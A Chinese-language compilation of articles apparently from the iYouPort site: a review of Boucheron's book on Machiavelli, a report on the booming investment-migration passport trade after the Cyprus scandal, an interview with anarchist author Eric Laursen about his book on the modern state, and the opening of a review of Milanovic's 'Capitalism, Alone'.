他最接近认可的一位领袖是教皇亚历山大六世的私生子、杰出的军事指挥官切萨雷·博吉亚。但在教皇去世后，博吉亚也因此未能确保对罗马涅的控制，马基雅维利把他作为一个例子，说明那些依赖他人而不是自己的资源的人的弱点。

第三节分析了马基雅维利的下场和他最著名的作品《王子》。在 Boucheron 看来，马基雅维利作品中最具革命性的因素是他的现实主义，他致力于“准确地描述事情是如何发生的，而把制定随后的行动规则的任务留给别人”。因此，Boucheron 将《王子》解读为一个关于类型学的练习，在这个练习中，马基雅维利对那些“被武力、诡计或运气征服的公国进行了分类：那些公国，实际上是在大胆的财阀和新王子的控制之下”。

至于马基雅维利的“行动规则”，Boucheron 写道，它们“除了效用之外，没有别的目的：根据需要使用或不使用它们”。因此，一个新王子，作为一个“不择手段的自我保护者”，总是应该对“他所统治的人

抱有最坏的期望”。即使是一个强大的新王子，在普通民众的支持下，也不可能安然无恙，阴谋和叛逆也会随之而来。对马基雅维利来说，只依靠那些支持你的人的爱，是灾难的根源。

之后的“写作的政治”部分，从马基雅维利的政治作品出发，重点讨论他的私人生活和戏剧作品。例如，Boucheron 对《曼德拉克》(1524)进行了分析 —— 在这部戏剧中，平民卡利马科在一位修士的帮助下，勾引了一位年老贵族尼西亚的年轻妻子卢克雷齐娅。在 Boucheron 看来，这部戏剧是一个政治寓言，在这个寓言中，腐败的佛罗伦萨正在被美第奇家族剥夺自由。

Boucheron 通过跟随马基雅维利从戏剧舞台到妓院，进一步追求马基雅维利的滑稽和肮脏的边缘。他默默地评判着，将马基雅维利与妻子玛丽埃塔·科西尼（与他有五个孩子）的通信与他写给朋友路易吉·圭恰迪尼的信相比较，他在信中描述了“他与一个又老又丑的妓女的‘绝望的做爱’”。

Boucheron 试图停留在一个不确定的空间里，他试图打乱自己的判断，他认识到“呈现淫秽就是让通常发生在视线之外的东西变得可见”，这意味着要做”坏消息的传递者”。这使得马基雅维利不仅是危险领域的“侦察兵”，而且是“一个不光彩的人物”，他破坏了传统的道德观念。

即使 Boucheron 似乎对这个佛罗伦萨大臣恶劣的性行为感到不安，但他还是沉浸在这个不舒服的地带，拒绝回避马基雅维利天赋所伴随的可怕特征。

抛开家庭和妓院，Boucheron 在下一节“分歧的共和制”中专门分析了马基雅维利的《论李维》，以及他“从历史材料中得出自由的实用艺术的有力尝试”。从民主政治的角度看，这是这本小书中最有趣的部分。Boucheron 把共和制描述为一个考虑到民意的政府，揭开了马基雅维利作为人民派系的面纱。“民众可以治理”，Boucheron 写道，因为：

这是真理的实现。人民知道他们想要什么，或者更准确地说，他们知道他们不想要什么：他们不想要被统治。通过这种了解，人民得出了真理，也就是统治的真理。

📌 在这一框架下，支持正义的法律不是充分的立法程序的结果，而是冲突的结果，是人民反击统治的产物。

在分析共和制的力量时，Boucheron 提出了一个意见，这个意见对于理解那些由于自身对阴谋和叛乱的反应而垮台或腐败的当代政权来说，似乎至关重要。

如果以委内瑞拉的乌戈·查韦斯为例，他在重新分配的平台上以压倒性的优势当选，并在担任总统三年后的寡头政变中幸存下来，马基雅维利的见解使我们能够理解政治行动和反动的过程及其在政变后政权的相对实力中不可预见的影响。

以马基雅维利为思考对象，布什龙得出结论：

政变加强了他们所要破坏的国家。然而 …… 在使自己变得更强大的同时，国家也使自己变得更弱。…… 阴谋给了王子恐惧的理由，而恐惧又给了他保护自己的理由，而保护自己又给了他伤害他人的理由，由此而产生了仇恨，而且往往是王子的毁灭。

深入挖掘马基雅维利思想中基础性的暴力与政治的关系，Boucheron 指出，“政变揭示了国家通常所隐藏的东西，也就是它们的构成暴力”，当这种暴力被行使和暴露时，国家的力量，就会矛盾地减弱。失败的政变迫使新的王子加强自己的驻防，进行先发制人的暴力；这种武力的展示不可避免地削弱了任何良好政权的基础，即使它能保证其生存。

虽然暴力可能必要，但这并不意味着马基雅维利认为目的可以证明手段的合理性。正如 Boucheron 所指出的那样，马基雅维利从来没有写下那些使他如此臭名昭著的话语。事实上，赞同这句座右铭就与他的政治哲学背道而驰了。

正如 Boucheron 所说，由于马基雅维利的“必然性哲学建立在时代的多变性和政治行动的不可预知性的原则之上”，因此，结局只能是未知的。这种观点与马基雅维利的思想不谋而合，但可以说，仍然未知的不是目的本身—— 被理解为政治行动的最终原因 —— 而是事业的成功。马基雅维利指出，新王子的目的是建立共和基础，使平民能够在自由中生活，不受寡头的统治。只有持久的宪政秩序才能为采取非法的暴力手段辩护。但是，由于在建国之时，无法知道新的秩序是否能够持久，因此，只有在相当长的时间之后，非法行动才有事后的正当性。在“现在”的时态下，没有正当的、不可告人的手段，只有必要的手段。

在这本书的最后一节中，Boucheron 谈到了马基雅维利的最后岁月，并将他描述为受佛罗伦萨学院委托撰写城邦“官方编年史”的“公共历

史学家”。按照他的现实主义政治方法，在他的《佛罗伦萨史》(1532年出版的遗著) 中，马基雅维利不仅描述了“在他的城市政治中上演的全部纷争、不和、敌意”，还描述了平民的困境，使通常被排除在官方记载之外的东西变得清晰可见。

当提到1378年 ciompi(羊毛工人) 的起义，推翻了政府，并短暂地建立了一个平民革命政权时，马基雅维利包含了一个匿名的反叛工人的演讲，指出贵族和平民之间的根本性平等，“由自然界以同样的方式制造出来的”。

马基雅维利轮番以哲学家侦察兵和不入流的家伙的身份出现，现在却以公共历史学家的身份结束，写出了一部旨在“给ciompi和美第奇人以平等的尊严、给那些没有声音的人以听觉、以直白的语言说这是发生过的、这是可能的”的历史。马基雅维利记录了民众的起义及其声音，让它在官方历史中占有一席之地，他是社会史史学家的开拓者，他们试图捕捉多方面的叙事，并通过将普通人纳入主线故事情节，来实现知识的民主化。

马基雅维利在1527年相当突然地死去，大约一个月后，罗马被查理五世的叛军攻陷，美第奇家族被推翻，民众起义在佛罗伦萨恢复了民众共和国。

几年后，他的作品经教皇克莱门特七世授权，分三卷出版。但教会的恩宠并没有持续太久。三十年后，在“耶稣会士在意大利策划了一场相当于反马基雅维利主义的运动”之后，他的作品被禁止出版。此后不久，他的名字就变成了“-主义”，成为了“暴政”的代名词，他的教义也慢慢变得“像迷雾一般看不见”。

Boucheron 在这本书的最后，展示了每当马基雅维利“在暴风雨的威胁下”被阅读时，这种迷雾是如何聚集在水洼甚至溪流中的—— 从法国大革命时期的雅各宾派到安东尼奥·葛兰西、路易·阿尔都塞，以及今天的读者。

📌 作为一个“觉醒者”，马基雅维利的思想可以像一条汹涌的河流一样，向包含“代表的不透明 —— 也就是我们今天所说的民主疲劳”的堡垒发起冲击。对于这个动荡的时代，马基雅维利似乎是一个很好的伙伴，在这个时代，这套制度秩序正在受到质疑，而大流行病的经济破坏有可能在未来几年内挥之不去。“当倾覆似乎不可避免的时候”，正如 Boucheron 所写的那样，马基雅维利的现实主义、不敬和对普通人自由的承诺，可以把我们引向安全的港湾。○

Our Machiavellian Moment

原文

护照和长期签证的丑闻市场正在蓬勃发展 - iYouPort

免费书和纪录片关于中国社会

疫情使跨国旅行变得更难，但是，却加强了移民的需求；甚至曾经一些被视为移民目的地的国家 如英国和美国的公民，都在考虑移民到其他国家 …… 这是怎么了？纪录片在线可看

「图」

「图」

对于该行业的批评者来说，这是一个丑闻，正好印证了他们长期以来的警告。

许多人对出售一个国家的长期居住权甚至公民身份以换取现金的生意，几乎有一种本能的厌恶，通常是以授权投资的形式。

因此10月，总部设在卡塔尔的电视频道半岛电视台播放的一部纪录片，揭露了塞浦路斯提供的“投资移民”计划中的腐败现象，似乎并不特别令人震惊。

该纪录片显示，在记者的卧底行动中，塞浦路斯政客被拍到他们很愿意将自己国家的护照卖给一个（虚构的）中国商人，而在封面报道中显示，这个中国商人因洗钱被判处7年监禁，因此应该没有资格。

对于这个阴暗行业的从业者 —— 移民咨询师、会计师、银行家、财富管理师、律师和贩卖本国魅力的政府部门 —— 来说，这是一个打击。

虽然涉事政客纷纷抗议并标榜自己的清白，但塞浦路斯已从11月1日起暂停 了“黄金护照”计划。布鲁塞尔的欧盟官员和欧洲议会成员本来就对这种计划充满厌恶。

而针对最新的丑闻，欧盟委员会已经开始采取法律行动（“侵权处罚程序”），对塞浦路斯的计划和马耳他提供的同类计划进行调查。

对于欧盟来说，这是一个极其敏感的问题。一方面，作为“国家”的权限，没有什么问题比一个国家允许谁成为公民更令人忌惮；另一方面，欧盟成员国的护照赋予了在欧盟任何地方生活和工作的权利；而“申根”签证允许到22个欧盟成员国和其他4个国家自由旅行。

这些计划的维护者坚持认为，寻求庇护的罪犯是“例外”，他们在实施更严格的“尽职调查”标准方面取得了很大进展。他们争辩说，他们的绝大多数客户都是诚实的、受人尊敬的人，他们有合法的愿望，想在他们投胎获得的护照和居留权之外另寻出路。塞浦路斯限制了他们的选择。

但还有很多其他的人，而且这种需求正在蓬勃发展，尽管冠状病毒带来了全球流动性的巨大下降。但事实上，**covid-19**刺激了人们对投资移民的兴趣。

“这个行业（移民生意）不仅仅是在动荡中变得更加强大”，商业杂志《投资移民内幕》的编辑 Christian Nesheim 说，“它在动荡中茁壮成长”。

事实上，它真正起飞的部分原因是为了应对2007–2008年的全球金融危机。像许多其他业务一样，移民生意在冠状病毒大流行的早期陷入停顿，因为世界上大部分地区的旅行变得不可能，政府停止处理文书工作。

但是，从那时起，它的需求“比以往任何时候都要多”，这是 Henley & Partners 公司的 Paddy Blewer 说的，该公司既为寻求新的居住地或公民身份的个人提供咨询，也帮助为这类人设计方案的政府提供咨询。

在感染率高和保健服务不完善的国家，人们开始将病毒疫情视为迁移到其他地方的理由。而那些持有护照的人以前认为自己能够或多或少地畅通无阻地周游世界，但现在却发现，自己的国家被列入禁止或检疫名单。

例如，根据 Henley 的研究，今年年初，美国护照的持有人有权前往185个国家，而无需首先获得签证；但此后，这一数字已减少到不到75个。

在全世界，有近100个国家提供 “投资居留” 方案，其中包括许多世界上最富有的国家，如美国、澳大利亚、英国和新西兰。但只有十几个国家提供公民身份 —— 包括五个加勒比岛国（安提瓜和巴布达、多米尼克、格林纳达、圣基茨、圣卢西亚）、一个太平洋岛国（瓦努阿图）、约旦、土耳其以及欧盟内的奥地利、保加利亚和马耳他（曾经包括塞浦路斯）。

通过投资获得公民身份或居留权的业务可追溯到1984年在小国圣基茨和尼维斯通过的一项法律，向进行 “大量” 投资的外国人提供公民身份。如何大量投资因国家而异。

就塞浦路斯而言，至少需要200万欧元（230万美元）的投资，通常是房产投资。马耳他则要求申请人向政府基金 “捐赠” 65万欧元，15万欧元投资于政府债券，购买房产或长期租赁。

在网上研究这个问题，很快就会找到 “15万美元起” 提供加勒比海公民身份选择的广告。

半岛电视台的拍摄选择中国申请人为例是有道理的，中国是目前大多数**CRBI**计划的最大市场。

- 独家《逃离中国》
- 《中国人如何在美国骗取政治庇护？—— 严打已开启，接下来会发生什么？》
- 《无处安放的“精神脱支”梦，“流行”的悖论和自杀式悲观》

「图」

「图」

中国投资居留最受欢迎的目的地多是美国。但美国的 “EB-5” 长期签证计划对于中国来说，申请人的等待期是10–15年。中国人认为欧盟是一个不错的 “第二选择”。

中国人想在其他地方居住的最普遍原因是教育。家长们想让他们的后代免于参加艰苦的大学入学考试，即 高考。而且他们相信，国外的教育将为他们提供国内无法获得的机会。即使是没有孩子的中国人也看到了 “B计划” 的吸引力，如果他们发现中国的政治或经济环境不友好的话。

中国在遏制病毒方面的 “成功”，以及与美国和其他一些国家关系的恶化，显然并没有使今年的移民需求减少。

愈演愈烈的镇压气氛继续使人们认为到国外居住的做法似乎是可取的。自6月实施严厉的国家安全法以来，香港的情况尤其如此。事实上，许多香港居民已经有了第二个潜在的家。在1980年代和1990年代，随着1997年英国主权即将移交给中国，香港是CRBI业务增长的一大动力。

行业游说组织投资移民委员会的首席执行官 Bruno L'ecuyer 表示，在印度和俄罗斯等其他大市场流行期间，需求也在增加。而中东地区似乎是土耳其投资入籍计划快速增长的幕后推手，在3月至5月期间，土耳其共发放了4000本护照。

L'ecuyer 说，在全球范围内，这项业务 "正在慢慢成为主流"。它不再只是为 "超高" 和 "非常高净值" 的个人服务。曾经似乎只有非常富有的人才能做出如此选择。

在疫情期间出现的新状况是，以前被视为投资移民目的地而不是移民来源的国家的移民兴趣蓬勃发展，例如英国，特别是美国，正如 Nesheim 所指出的那样，在美国非常富有的人远远多于任何其他国家。

在英国，自2016年英国公投支持脱欧以来，人们对第二本护照或居住地的兴趣一直在增加。在美国，当年特朗普的当选也产生了类似的影响。在这两个国家，疫情再次加速了这一趋势。

Henley 报告称，今年前**9**个月来自美国人的移民咨询量比**2019**年同期增加了**238%**，不过他们在全球企业的整体数量中仍只占很小的比例。

事实上，这些数字本身就相当小 —— 每年大约5000本护照，而长期居民签证的数量是这个数字的几倍。但业界喜欢指出从投资者那里筹集到的大笔资金所做的 "好事" —— 例如，在2017年年底飓风玛利亚之后，促进了多米尼克的重建；或者塞浦路斯从金融危机中复苏。

在多米尼克，政府预测今年的投资移民计划将占政府经常性收入的**51%**，占**GDP**的**25%**。毫无疑问，当人们把注意力转移到从流行病中恢复的成本上时，许多政府会发现投资移民的吸引力难以抵挡。移民生意界对塞浦路斯重新恢复投资移民的可能性 "充满信心"。〇

The scandal-hit market for passports and long-term visas is booming

原文

操作系统：如何理解现代国家 - iyouport

免费书和纪录片

国家不仅仅是我们希望拥有的社会的障碍；它取代了我们想要拥有的东西。

Anarchist Agency 与《操作系统》的作者埃里克·劳尔森进行了交谈。

越来越多的人已经看到关于对政府和机构的不满和不信任达到了创纪录水平的新闻报道。虽然许多人在表达对世界现状的不满时可能会提到具体的机构，如政府、公司、军队和警察，但是，这些机构都只是一个更大的系统的一部分，这个系统旨在控制我们生活的各个方面——它就是，国家。

- 如果您错过了《改革还是变革？》

埃里克·劳尔森最近出版的书《操作系统》对现代国家的发展提供了一个易于理解和引人入胜的概述，在国家与旨在监督和控制我们生存的计算机操作系统之间画出了一个挑衅性的等号。Anarchist Agency 最近制作了一个动画短片，抓住了埃里克书中的一些核心内容（见下文）。本文采访了埃里克，他介绍了现代国家如何运作，以及为什么我们需要超越它。

AA：关于您最近出版的书《操作系统：一个现代国家的无政府主义理论》，是什么启发您在这个时候处理这样一个宏大的主题？

埃里克·劳尔森：主要是源于这个主题以前从来没有真正被做过。在我的整个成年生活中，我一直被认为是一个无政府主义者，在早期，我被一个事实所震惊，即所谓的“经典”无政府主义者——克鲁泡特金、巴枯宁、戈德曼等——从未以一种扩展的方式分析过国家是什么。我有自己的想法，而且我发现自己同意他们的基本论点，即：如果不同时推翻国家，就不可能推翻资本主义。但我需要更好地理解这两者之间的关系，而无政府主义的著作和理论体系中很少有、马克思主义理论中也很少有，能让我满意地解释这个问题的论述。对此我已经思考了很久。我的新书确实是多年来思考这个问题的结果，然后在

大约两年前对这个问题进行了更深入的探讨。

我决定从事这项工作的另一个原因是，我觉得在人类与这些系统（资本主义和国家）的关系中，我们正在达到一个危机点。在过去的200年里，是它们决定建立一个大量使用化石燃料的经济；是它们决定将新自由主义经济强加给发展中国家，破坏了当地的经济和社会秩序，并导致世界各地大量人口流离失所；也是它们决定在发达国家实行新自由主义，这导致了经济不平等的扩大，社区的空洞化，以及金融部门的大规模膨胀，基本上把经济变成了一个赌场。

我们迫切需要更好地理解造成这些危机的动力，这些危机是全球性的，是切切实实存在的。而这与理解国家和资本主义之间的关系同义。

AA：为什么你觉得“计算机操作系统”是“国家”的一个很好的比喻？

埃里克：因为像 **Windows** 或 **iOS** 这样的操作系统，就像国家本身一样，渴望获得至高无上的地位：在我们的生活中无所不包、无所不知、无时不在。建立一个全球性的单一文化，然后将其作为一种乌托邦来兜售。这不是一个巧合，因为计算机操作系统是国家的产物，是在二战后的几十年里通过激烈的公私合作开发的。像国家一样，它们是500多年前开始的现代世界的决定性发展之一，它们体现了国家本身的许多野心。

- 如果您错过了《超越民族国家：是时候结束“主权国家”的神话了》

我来解释一下。人类历史上有各种各样的国家，可以追溯到埃及王朝、罗马帝国、中华帝国，等等。但现代国家是非常特别的东西，大约在15世纪末出现在欧洲。它的不同之处在于，在这些新的国家——法国、英国、西班牙—— 最初，君主们试图将一个统一的政权融合在一起，利用商业和金融作为工具来获得和扩大其权力。这不再仅仅是军队、贡品和税收的问题，而是你所生产的商品、它们的市场规模，以及它们给你带来的击败敌人和扩大权力的杠杆，无论是对内还是对外。这就是为什么我说国家是最初的资本家，而且仍然是最大的资本家。

但为了有效地使用这一新武器，统治者需要对其人民的生活有更大的控制 —— 控制人们的每一个方面。随着现代国家的发展，这意味着对人们居住的地方、人们生多少孩子、人们信奉什么宗教、从事什么职业、人们的想法和信仰，有更大的控制。随着时间的推移，这意味

着更多的跟踪，更多的监视，更多的监管，更多的社交工程，更多的效率，这意味着将人们更多的传统吸收到国家的基础设施中，否则，如果这些传统妨碍了国家的发展，就会被摧毁。这也意味着帝国主义和殖民化，因为国家试图将世界上更多的地方纳入其经济和政治模式。国家本身就是一种殖民出口 —— 也许是世界历史上最成功的商品清单。

计算机操作系统有同样的野心：为所有人的数字生活的每一部分提供一个框架。我们成为 **Windows** 的 “公民”，**Mac iOS** 的 “公民”。这些系统成为深层文化，我们在其中生活的时间越来越长—— 不只有马克·扎克伯格和他的同道对 “元宇宙” 有自己的看法，所有的文化都是如此。

就像这些系统一样，国家想让我们所有人在接受一种事实上不可持续的生存模式时感到如此自在，这种模式建立在对化石燃料的疯狂开采和消费之上，剥削着贫困和发展中地区的数百万人，并危及我们的生存，以至于我们无法想象在它之外的生存是个什么样。

AA：在《操作系统》这本书中，您讨论了一个核心身份集团在每个国家的权力中心的问题。能分享一下这些核心身份集团的例子吗，以及它们是如何在国家中集中权力的？

埃里克：关于这些核心身份集团，总是有一些人为的东西。我来举个例子，比如，在美国被称为 “白人” 的东西。这实际上是一个相当悬殊的群体，不只有肤色，它按阶层、按种族、按财富，划分。 但我们被教导要把 “白人” 看作是有特权的种姓，是 “真正的” 美国人，是最有资格称自己为美国人的人—— 作为国家应该体现的 “民族”—— 尽管白人根本就是一个被发明出来的概念，可以根据需要延伸到新的群体。《您可能误会了的民粹主义（下）：”真正的公民”》

每个国家都有自己版本的核心认同群体，可以追溯到现代国家的起源。它实际上是国家赖以支持的群体，它鼓励人们最密切地认同自己，它也是国家获得每一个新的领导层的蓄水池。

核心认同群体概念的问题在于，它不可避免地将某些人排除在外：实际上，是将很多人排除在外—— 其他所有人都*被形成*了一个下层阶级，他们永远在敲打着特权的大门，却永远都无法进入。其结果就是，国家的代价是种族主义、性别歧视和性别认同歧视 —— 因为妇女和非二元群体只是*暂时*属于核心认同群体。

并且，资本也需要一个 “底层” 阶级来帮助它压低劳动成本，所以这

种安排也符合商业和金融利益。我想强调的是，这些都不是国家可以帮助我们解决的问题。它们是国家本身所特有的，是其内部逻辑的一部分。

AA：《操作系统》这本书讨论了国家如何经常不能满足社区最基本的需求。您认为在社区需求方面，国家是否在一些领域特别失败？

埃里克：我刚刚提到了其中之一—— 种族主义，这包括针对、甚至消除世界上剩余的原住民群体及其文化。但还有很多其他的问题。

当然，另一个问题是贫穷。但是，国家并不是为了消除贫困，尽管它拥有所有的资源—— 在理论上足以做到这一点—— 尽管自由派和保守派都默认了 “涓滴” 思想；但国家总是以追求尽可能快的经济增长为目标，因为这是现代世界权力的基础，而且因为它依靠资本来这样做，它不可避免地受到繁荣-萧条循环的影响，把人民抛在一边，国家只会去救助那些大而无当的犯罪者。

【注：涓滴经济学用于描述给富人及企业减税可惠及所有人包括贫苦大众的经济政策。该主张认为政府对富人阶级减免税收与向企业提供经济上的优待政策，将可改善经济整体，最终会使社会中的贫困阶层人民也得到生活上的改善。该主张反对以征税手段来减少社会中的贫富差距，也往往削减对贫穷阶层进行社会救助。】

而且，这还是在不考虑该系统对环境造成的损失的情况下。这当然是另一个问题；我们为基于国家的系统的增长和维护付出了惊人的代价，而随着气候危及的加速，这个代价将变得毁灭性的。

因此，我想强调另一件事：国家没有能力 —— 没有动力来解决全球变暖的问题，也不会扭转它。它没有真正的动机这样去做，因为这将转移对其追求快速经济增长的注意力。

AA：感觉大多数人认为国家的存在是理所当然的，仿佛它是一个既定的事实。您对国家的代理人如何设法在无国籍社会中制造如此多的恐惧有什么想法吗？

埃里克：是的! 国家通过硬实力和软实力的结合，并通过培养核心身份群体的忠诚度，来实施其社会愿景。当然，我们最近已经看到了这一点，特朗普如何沉浸于美国白人对自己是 “真正的美国人”、“普通人” 的感觉，以及英国的脱欧运动如何鼓励英国有盎格鲁背景的白人对 “英国人” 的含义采取一种非常排他的情绪。

但有一个问题。在大多数所谓的发达经济体中，人们对政府的信心都正处于历史低点。因此，国家鼓励核心认同群体密切认同两个特定机构：军队和警察部队。他们被视为核心身份群体的保护者，对抗威胁他们的所谓其他“元素”，作为社会最佳价值观的维护者，就像一种粘合剂，将一群人的世界维系在一起，而国家通过不断鼓励人们感到受困，来争取人们的忠诚。

当然，当所有其他方法都失败时，还有硬实力：核心身份集团以外的人最容易感受到的那种力量。最近，我们看到军队采取了更多非个人化的杀人方式，警察也采取了更多的军事技术来“维持秩序”。我们也已经看到监狱人口膨胀到简直没有更多的空间来容纳囚犯。但是，即使是硬实力也有一个“软”的方面，那就是：努力向核心身份群体保证，他们正在受到保护和照顾。

从现代开始，硬实力和软实力都是混合的一部分。但是，就像国家的其他一切一样，随着时间的推移，这些工具和技术变得更加复杂，更加普遍。今天，国家的硬实力和软实力无处不在，而在过去的几个世纪里，它们从未出现过。

AA：如果操作系统是对国家的比喻，那么对于实现无政府主义社会的想法，什么样的比喻比较好？

埃里克：我们已经有一个比喻了，在开源系统中，如 Linux，至少在其理想的形式下。但是，数字的问题与任何其他国家机构或产品的问题是一样的，真的。数字世界是由处于国家中心的政府和私营部门合作构思和设计出来的。它的建立是为了实现这种伙伴关系的目标，而不是像一些科技大亨喜欢宣称的那样“让我们自由”或“创造一个全球社区”。

因此，这并不是一个“了解如何制造我们想要的数字文化”的问题，而是如何不要让科技大亨将我们束缚在经济价值的生产上。只要国家存在，它就会试图挫败我们这样做的努力—— 在这个领域和其他许多领域都是如此，以便令我们接受国家对数字未来的暴利、侵扰和支配的愿景。我们不必这样做，但重新获得一个开源的数字文化将需要相当于一场彻底的在线社会革命。

AA：您希望读者能从您的新书中得到什么？

埃里克：这取决于读者。如果你是一个无政府主义者，我希望我的贡献能鼓励你去思考和发展你自己对国家的想法。作为无政府主义者，我们非常适合分析和理解这个东西，因为无政府主义是唯一不把国家

作为既定事实的政治思想流。我们是唯一不自动寻找通过国家解决世界问题的方法的人，我们不认为一个复杂的社会在某种程度上需要国家来组织自己。

如果你不是无政府主义者，我希望《操作系统》这本书能够提供一种新的方式来看待国家组织我们的方式，并阐明它所强加的系统的一些内在问题。我希望它能鼓励非无政府主义者更广泛地思考人类和地球所面临问题的解决方案。人们被教导认为，任何不包括国家和资本的集体问题解决方案“都是一种不可能的乌托邦主义形式”；而在在现实中，国家和资本才是我们真正的绊脚石。

AA：在社会中，在人们对国家的思考和与国家的关系方面，需要转变什么？

埃里克：首先，人们习惯于把政府和资本看作是两个独立的东西，通常存在着相互之间的紧张关系。当然有紧张关系，但我试图说明的是，它们实际上是一个单一系统的两个部分，我称之为大写的国家，它旨在管理地球上的所有资源—— 包括人的生命—— 无情地追求创造财富：其他一切都被抛弃。

但它也是诱人的；它为我们人类提供了一个360度的生活模式。既然国家让人们如此容易地接受这个系统的现状，为什么还要费心去思考国家之外的问题呢？但这当然正是我们必须学会在国家之外思考的原因。国家不仅仅是我们希望拥有的社会的障碍；它取代了我们想要拥有的东西。

我们已经知道我们要做什么，而且在某种程度上我们已经在做了：确定抵抗的节点，并在它们之间形成网络，这样我们就能彼此结识并组织起来，例如，立岩运动和巴西的无地者反抗运动、印度的农民起义和BLM、Greta Thunberg 对气候峰会的游击战和废除警察的斗争。例如，现代国家历史的共同线索之一是对原住民和少数民族社区的无情战争。这些都是每一个不希望国家实现其单一文化愿景的人自己的斗争。因此，这一点绝对是至关重要的，就像建立所有这些联系和联盟一样。〇

埃里克·劳尔森住在马萨诸塞州。他是一位无政府主义组织者、作家和学者。多年来，埃里克一直活跃在反对战争和帝国主义以及争取全球经济正义的运动中，也是纽约市无政府主义年度书展的组织者。本采访基于他最新出版的书籍《操作系统：现代国家的无政府主义理论》（*AK*出版社）。点击此处链接您可以下载这本书。

原文

收益递减：在内卷的世界里思考全球资本主义 - iyouport

免费书和纪录片

没有纯粹的 “国内问题”。或者说，如果不能在全球规模上考虑解决方案，国内问题就无从解决。

自由派论述资本主义，这可能听起来像个笑话。而且，这本新书也并不完美，因为它提出的概念不具备普遍适用的价值，且部分观点有待商讨。但是，这本书对于想要了解中国未来的且对地缘政治作用感兴趣的读者，依旧值得推荐。因为，它特别适合两个国家：美国和中国。

它的贡献在于，准确地指出了美国和中国同属于资本主义，这点非常重要！也是为什么我们一直强调中国的资本主义性质，这一理解基础将有效指导中国社会的反抗着力点。而几乎所有论述 “新冷战” 的华盛顿体制内知识分子都特别容易忽略中国的资本主义性质，他们以 “冷战” 来暗示意识形态斗争，懒惰的中国观察家们在此与北京叙事一样混乱，造成了很大的误导性。

我们认为，本文比这本新书更重要，因为本文旨在指出这本书中存在的问题和值得关注的观点，这对长期遭受错误概念灌输以至于总是找不到正确的反抗战略的中国社会来说，将具有价值。

📌 我们为本文中涉及到的所有书籍提供免费下载 — 一共6本书，希望能为中国的反抗者提供帮助。请使用您的批判性思考：https://www.patreon.com/posts/shou-yi-di-jian-52796796

不要错过《抵抗中国的资本主义：国际联盟的理由》这份杂志也很重要

从 “占领华尔街” 的帐篷城市到DSA(民主社会主义美国)不断增加的分会，2008年的金融危机被广泛认为是美国进步主义的复兴。然而，不仅仅是街头抗议者将资本主义置于审查之下。自由派学者和政策制定者也已经成为资本主义病灶的分析者。

自从托马斯·皮凯蒂在2013年推出《二十一世纪资本论》 以来，出版业以惊人的速度涌现出关于资本主义、不平等和经济学的新书。仅在过去两年，皮凯蒂的后续著作《资本与意识形态》、加布里埃尔·祖克曼和埃马纽埃尔·塞兹的《不公正的胜利》就已出版；希瑟-鲍斯的《无界》；以及安妮·凯斯和安格斯·迪顿的《绝望之死与资本主义的未来》，仅举几例。

即使是资本主义昔日的拥护者现在也发现自己处于劣势。

除了全球化的狂热炒作者托马斯·弗里德曼（Thomas Friedman）之外，其他人都转向了忏悔，承认“我们打破了世界”，让资本主义过于猖獗。(“我们”？)

越来越多的自由派对资本主义的研究可以在各个学科中找到，但它在经济学中最为明显，在那里，新的一批人已经解绑了上一代人的形式主义束缚，接受了更多的历史和社会学方法。这些经济学家不是在不断完善理想化和抽象化的模型，而是，将他们的分析建立在不断积累的经验证据之上，这些证据记录了高层财富的增长、底层人民健康的恶化、高层税率的下降、以及大多数人工资的停滞。

尽管从过去几十年英美政治的标准来看，它的分析和处方是激进的，但这部作品几乎没有革命意义。然而，它迫使许多自由主义者最终考虑到左翼人士长期以来所哀叹的资本主义的特点：在惊人的财富积累中产生巨大的贫困，经济和政治权力的合流，以及破坏系统承诺的稳定性和破坏人类健康和幸福的危机的扩散。布兰科·米拉诺维奇（Branko Milanovic）

经济学家布兰科·米拉诺维奇（Branko Milanovic）一直是这一新兴领域辩论的核心参与者，也是其最独特的贡献者之一。

米拉诺维奇出生在贝尔格莱德，当时贝尔格莱德还是南斯拉夫的一部分，在收入不平等成为一个时髦的话题之前，他的论文就已经写到了他的祖国。在担任一系列学术职务之前，他作为世界银行的经济学家研究了近二十年的收入不平等问题；目前他在纽约市立大学的研究生中心任教。

但他不是典型的世界银行经济学家。米拉诺维奇了解资本主义，虽然他自己不是马克思主义者，但长期以来一直坚持阶级分析和历史视角对经济学的价值，同时也涉足关于分配正义的政治哲学辩论。同时，他在实际存在的社会主义下的生活经历，使他与苏联解体后在西方大部分地区大肆宣扬的历史终结叙事、以及2016年以来大量出现的历史

终结者的抱怨，保持了关键的距离。而后，这些语话似乎正在追赶米拉诺维奇一直以来的位置。

米拉诺维奇已经出版了几本书，他的突破是在2016年出版的《全球不平等》，因为他长期的研究兴趣与不平等研究的主流化相融合。该书评估了全球化对世界各地收入的影响，并将国际焦点带到了许多国家一直被视为“国内问题”的问题上。

这本书因其著名的“大象曲线”图而备受关注，该图显示，自1988年以来，新兴国家的工人和中产阶级取得了巨大的收益，而西方发达国家的工人和中产阶级则失去了收入—— 所有这些都是被世界各地的富人像强盗一样赚取的。

这张图之所以引人注目，并不是因为它与全球化的传统智慧相矛盾，而是，因为它为一个经常被讨论的趋势提供了严酷而清晰的证据。

此外，米拉诺维奇认为，该图表并非全是坏消息。当北大西洋的工人和中产阶级在苦苦挣扎时，他们在西方以外的同龄人却比以前做得更好。米拉诺维奇指出，即使资本主义的繁荣分配不均，它仍然是创造财富的强大引擎。

《唯有资本主义：统治世界的系统的未来》是他的最新著作，这本书所涉及的游戏规模更大，对资本主义本身进行了说明。

经济学的重点是要了解整个世界。对米拉诺维奇来说，今天资本主义的新颖之处在于它跨越了整个世界。在以前的时代，资本主义社会与那些以不同方式组织生产的社会共存：狩猎和采集、奴隶制、农奴制、自给农业，当然还有苏联的社会主义。自从苏联解体后，资本主义不仅成为世界上最主要的经济体系，而且在功能上也是唯一的经济体系。

与他的前一本书一样，这本新书将经验研究与创造性分析相结合，将马克思的阶级分析和韦伯的社会学折衷为关于不平等、腐败、增长和移民的经济数据。

但是，当马克思主义者通常寻求深入到表象领域之下以了解资本主义如何真正运作时，米拉诺维奇却停留在表面水平，分析资本主义的影响，因为它们出现在数据中，并相应地发展出类型学。

有趣的是，对他来说，明确资本主义的缺陷并不意味着呼吁其消亡。事实上，米拉诺维奇认为，这种事情不会发生。他对资本主义并不感

到迷惑，而是希望与之和解。这本书的理念可以总结为：“就是如此”。

